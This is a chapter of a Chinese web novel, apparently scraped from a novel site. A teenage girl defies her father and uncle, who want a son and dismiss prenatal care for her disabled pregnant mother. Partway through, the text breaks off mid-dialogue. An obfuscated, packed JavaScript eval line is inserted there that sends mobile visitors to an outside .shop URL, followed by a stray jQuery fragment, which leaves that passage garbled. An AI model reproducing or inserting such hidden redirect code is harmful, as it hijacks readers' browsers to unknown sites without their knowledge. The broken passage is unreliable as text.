天光熹微，细雨落在瓦片上，先是无声，逐渐敲响，汇聚成流，雨线从天井四角落下。
入秋后，山区一场秋雨一场寒。
艾荔荔站在天井边，听着雨水滴答，注视父亲的苍老背影，劝道：“下雨天，爸，今天别去割蜜了，淋雨小心犯肩周炎。”
“唉。”老艾拧毛巾洗脸，皱眉说：“麻烦，本来想着趁周末，你照顾家里，我去后山把蜂蜜收了。”
天公不作美，她只能推迟带母亲去医院做产检的计划，“等天晴吧，万一淋雨犯了老毛病，你又要难受十天半个月，胳膊疼得抬不起来。”
“也是，那样更耽误干活。”老艾欣慰说：“还算你懂点事，知道关心爸的身体。”
我总不能只顾妈不管爸。她打起精神，拉开大门，饱含雨水气息的凉风涌入老宅，“下雨你就别出门了，我去喂鸡。”
“小心着凉，你穿上雨衣雨鞋。”老艾愉快说：“忙完了就回家，爸给你做蛋炒饭吃！”
艾荔荔自幼承担家务，动作熟稔，先是解开锁了一夜的看鸡舍的狗，随后打扫、搅拌饲料、倒进食槽，忙活到天大亮时，给挚友陶小雅发信息告知计划有变，正聊着，果园外响起了摩托车喇叭声。
她走出去一望：
“舅舅，这么早？快进屋坐。”
“娣娣来，拿着！我还有事，不进去了。”钱斌穿着雨衣，摩托车停在铁丝网园门外，递过一个袋子，“你爸妈呢？”
“我爸在做早饭，我妈还没起床。”她小跑接过东西，“什么呀？”
钱斌笑眯眯，“鱼。摊主去水库钓的大鲤鱼，野生的，新鲜有营养，给你妈妈补一补身体。”
艾荔荔一方面反感舅舅思想封建，另一方面又感激他长期关照自家，“谢谢舅，冒雨送来。”
“自己人，谢什么！你也多吃点饭，瘦得像麻杆。”
艾荔荔趁机提议：“我体重正常，倒是我妈，越来越胖了，跑几步就气喘吁吁，估计营养过剩，得控制饮食。舅，你劝劝我爸，叫他带我妈去医院，检查血糖血脂，顺便做做产检。”
钱斌擦了擦头盔的雨，不以为然，“不奇怪，我和你妈妈，身材随你外公，胖不代表不健康，世界上比我们肥胖的人多了去了，活得好好儿的。没生病，没闲钱，别去医院，医生动不动开一堆检查单子挣黑心提成，让你妈妈少吃糖果就行了。”
艾荔荔打量三层下巴的舅舅，见他胖得啤酒肚能放在摩托车油箱上，直摇头，努力游说：“可是我妈怀孕了啊！别的孕妇会按期去做产检，有问题的话，能及早发现。我爸一向最听你的话了，你劝他，他准听！”
“女人能怀就能生，产检没必要。那些事，不用你操心，家务才是你的分内活。”
钱斌肥胖怕热，不悦地擦了擦汗，“娣娣，你执意读高中，开学那天，舅舅本来想打电话叫你别去报名的，被你爸拦住了，说决定再供女儿三年书。你爸这辈子，命苦，马上60岁的人了，没有儿子，只有一个女儿，女儿还是任性的念书积极分子，不肯顾全大局！唉。”
顾全大局？
十六岁的少女现在已经明白了，当有人对自己说“顾全大局”时，意味着需要自己做出某种牺牲。
她心情低落，轻声问：“在我家，连读高中都是奢侈自私的事，将来弟弟或者妹妹出生了，能理解接受这样的家境吗？我爸60岁了，究竟何苦，生二胎来吃苦。”
“小丫头，懂什么？有些苦，值得吃！”
雨停了，钱斌摘下头盔，“等你妈怀孕满四个月，去照B超，如果怀得不对，就不留了。”
有些事她能猜到答案，却忍不住一遍遍问：“只要弟弟？不要妹妹？”
钱斌点点头，“对，我和你爸早就商量过，女儿有你一个足够了，二胎需要儿子。”
“假设，弟弟不健康，怎——”
“不怕。”钱斌打断外甥女，直言不讳，“只要是儿子，就是艾家的香火、是你的娘家依靠、是你爸百年之后的摔盆人。最坏的结果，你弟可能会遗传你妈，智力低下，但也不影响养活，国家政策会兜底，给他发一辈子的残疾补助，将来你再帮一帮，日子总能过下去。”
她实在无法理解，怀着一丝期待，盯着舅舅，“我妈在冒险，舅舅，你作为亲哥哥，难道就不担心妹妹的健康安危吗？”
钱斌叹了口气，“肯定担心呐，但是女人出嫁了，生不出儿子，腰杆不硬，尤其你妈妈痴傻，受你爸照顾快20年了，却连个儿子都生不出来，实在理亏，太亏欠丈夫……等你结婚后，慢慢会懂的。”
不，我永远不能接受你们的想法！
艾荔荔眼里的希冀光芒黯淡了，想再游说，却失望沉默，涌起一股强烈的对牛弹琴的无力感。
“哟，八点了。”钱斌看看时间，调转车头，“舅还有事，先走了，你接着干活。女孩要勤劳，懒惰可嫁不出去。”
她目送舅舅远去，怀着沉重的心情回到家。
两只狗一左一右，趴在门口，小憩避雨。
秋雨连绵，时停时下，浸润着陈旧瓦房，天井里水汪汪一片反着光。
钱二妮陪同丈夫干活，围着竹匾，将匾内梅菜一捆捆扎好。她拿不准分量，干活需要丈夫返工，看见女儿，愉快挥舞梅菜，“荔荔荔！来啦，什么东、东西？”
“舅舅刚才给送了两条草鱼，急急忙忙，说了几句话就走了。”
艾荔荔放下鱼，脱雨衣雨鞋，洗手洗鞋，闻了闻厨房飘出来的味道，“又在煎中药吗？”
妻子为鱼欢呼，老艾笑道：“等我忙完就腌上，中午吃红烧鱼！饿坏了吧？你快去吃炒饭，顺便看看药，煎好了就盛出来，放凉了让你妈喝。”
“不、不要。”钱二妮噘嘴，圆滚滚的胳膊手掌摔打梅菜以示抗议，白白胖胖，跟黑瘦的丈夫对比鲜明。
“特意花钱给你买的，补药，不能不喝。”老艾哄道：“喝完了奖励你糖吃。”
钱二妮想了想，勉强点点头。
艾荔荔在厨房盛药，明白即使自己说破嘴皮子，也比不上舅舅有权威，遂大声说：“爸，不能再让我妈吃零食了！我舅舅交代的，他说，我妈营养过剩，影响健康，得戒糖。”
果然，老艾立刻改变主意，“也对，二妮，听你哥的话，别吃糖了。”
钱二妮生气了，跺脚，使劲摔打菜干；老艾顾及妻子有孕在身，哄了又哄。
残障贫穷之家，虽然时常吵闹，但也有许多温馨举动，点点滴滴，均被女儿默默铭记。
她需要收集幸福，以对抗生活中的苦涩。
一点点幸福，即可支撑她忍耐磨难。
艾荔荔吃完早饭洗了碗，回房拿出课本，刚写了一科作业，却听父亲安排：
“下雨天，下不了地，爸翻了黄历，今天是上香祈福的黄道吉日，你收拾香烛，咱们上山神庙拜拜神。”
“去山神庙？”
“唔，难得清闲，去上上香。”
老艾利落清洗腌制了草鱼，催促妻子，“二妮，换双鞋子，带你出去玩。”
一家三口极少同时出门，有也是求医问药，拜神如同游玩一般，实属新鲜事。艾荔荔不由得雀跃，欣然收拾了香烛等贡品，安排道：
“我开车，你们坐后面。”
“你穿上雨衣。”老艾搀扶妻子上了车厢，夫妻肩并肩坐下，由女儿驾驶三轮车，前往位于采屏嶂山脚的山神庙。
雨丝被风吹散，飘飘洒洒，稻田里的禾苗被洗去尘土，绿意盎然。
三轮车驶向桥头时，秦朗母子正在院子里栽花。
秦朗弯腰铲土，覆盖新栽的花苗。
“种一棵树，”韩燕撑着伞，裹着丝质披肩，富有感情，吟诵道：“最好的时间是十年前，其次，是现在。”
秦朗直起腰，旋即被比矮了自己一个头的母亲撑的伞压住脑袋，“行了，种完了。”
韩燕清了清嗓子，声音有些沙哑，“不知道什么时候能开花。”
“养着呗，它们想开时自然就开了。”秦朗把铲子撂在墙角，拍拍手，“下着雨，你赶紧回房休息，嗓子听着不对劲了。”
“没事，老毛病，咽喉炎。”韩燕雨中漫步，欣赏花苗。
秦朗不放心，“要不我出去买点药？”
“有药，托吴阿姨买了几盒西瓜霜含片。”韩燕高度近视，眼镜片被水汽遮蔽，摘下用丝巾擦拭，疼爱问：“午饭想吃什么？妈给你做。”
秦朗听见了三轮车声，随口答：“吴阿姨放假前包了一堆饺子，弄熟就行，周末随便吃点。”他看清驾驶者，脱口说：
“看，艾荔荔又开三轮车了！”
韩燕循声望去，转眼，三轮车靠近。
艾荔荔与教师碰面，少不得减速打招呼：“老师好！秦朗同学，在忙什么？”
“种花。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650689|143957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”秦朗指了指墙角花坛，“我妈买了几棵月季。”
韩燕打量身穿雨衣的学生，关切问：“下着雨，你这是要上哪儿去？”
艾荔荔刹车停下，“去山神庙，上香拜神。我爸妈在后面呢。”
驾驶座与车厢之间有小窗口，钱二妮怯生躲了，老艾探头说：“是韩老师吧？谢谢你上次送的礼物，太客气了。”
“哪里哪里，是艾先生先费心了，送来了特产。”韩燕看着苍老的学生家长，客套问：“我们人生地不熟，还不知道山神庙在哪儿呢。”
老艾忙告知：“不远，就在对面山脚，那山神庙是从古就有的，几百年历史了，有求必应，非常灵验。”
“有求必应？”韩燕扶了扶眼镜，颇感兴趣，“需要步行登山吗？”
“不用不用，庙旁有空地，小车能直接开上去。”
双方客套一番，艾荔荔告别离去后，韩燕马上决定：“等雨停了，咱们也去逛逛。免得闷坏了你。”
秦朗懒洋洋，“你自己想去就直说。”
降雨时，采屏嶂顶峰白茫茫，被雨雾笼罩着。
山脚自古有一片乱石，山神庙建在其中，黝黑巨石形状各异，栽种着茂盛松柏。
山风猎猎，松风飒飒。
庙宇香火旺盛，炉中积了厚厚香烛灰烬，两面墙壁悬挂着大量锦旗，或新或旧，层层叠叠，是当地人感恩所赠。
“二妮、娣娣，跪下，磕头。”
老艾呈上贡品、点燃香烛，带领妻女下跪，他双手合十，闭着眼睛，默默祈求。
艾荔荔也双手合十，仰望塑了金身的庄严神像，拜了拜，“神明在上，求您保佑我们一家人，健康平安，给您磕头了。”
“说出来就不灵了。”老艾闭目发笑。
“说出来嘛，有助于神明快速了解我的请求。”
钱二妮跪了会儿，就坐着了，揉揉膝盖，站起来好奇拽墙壁锦旗，还想抓贡品吃。
“放下，还没贡完！二妮，别捣乱，对神明不敬，不像话！”老艾生气驱赶，“娣娣，带你妈出去玩。”
艾荔荔牵着母亲出去了，周围闲逛。
钱二妮惦记着贡品，静不下心，绕了几圈，返回庙宇，刚被丈夫训了不敢吱声，悄悄探头，朝里张望。
艾荔荔跟随母亲，耐心陪伴，却发现父亲仍然跪着：
庙内，老艾跪在神像前，无比虔诚。
“大慈大悲，神明在上。”
他双手捧着竹卦，磕头说：“求神明开恩，保佑艾家得个儿子，求神明赐予香火后人，如果心愿达成，我一定会来还愿，上贡，送锦旗。”
祈求完，他松手，轻轻一掷，两块竹卦均朝上，意为不顺。
老艾紧张，拾起竹卦，诚惶诚恐磕头，“求神明保佑。”
第二次掷，仍是均朝上。
老艾重新拾起竹卦，含泪磕头，“求神明发发慈悲，无论如何、无论如何……艾家的香火，不能断在我手上啊！”
他手颤抖，第三次掷，竹卦落地，一正一反，为圣卦，寓意为吉顺。
“谢谢，多谢神明同意！”老艾喜极而泣，不住地磕头。
艾荔荔沉默旁观，心情复杂。
在女儿的记忆里，父亲威严古板，此时此刻，如此卑微，如此鲜活，如此虔敬，是为了求神保佑生个儿子。
她转身走开，决然暗忖：你和舅舅不听劝，不重视孕妇的身体健康，那就别怪我自作主张。
翌日，秋阳灿烂，碧空如洗。
“娣娣，收完鸡蛋记得给菜园除除草。”老艾背起工具篓，腰间别着镰刀，叮嘱道：“爸去后山割蜜，家里交给你了。”
艾荔荔面色如常，“知道了爸，你别忙过头了，早点回家。”
“午饭不用等，我带了干粮，趁天晴，争取多看几箱蜂。”老艾一瘸一拐，绕去屋后，掏出钥匙，打开通往后山梨园的铁栅门，进山收蜂蜜。
艾荔荔估摸着父亲走远了，迅速翻出所需证件，扬起笑脸，“妈，上车，我带你出去玩！”
“玩、玩？”钱二妮喜欢坐车，却犹豫了，“强哥呢？”
艾荔荔锁上家门，打开车厢门，“我爸没空，叫我带你出去玩。”她需要抓紧时间，“带你去买漂亮发卡，带蝴蝶结的，要吗？”
钱二妮顿时眼睛一亮，顺从上车，“要！”
三轮车驶离艾家，赶往医院——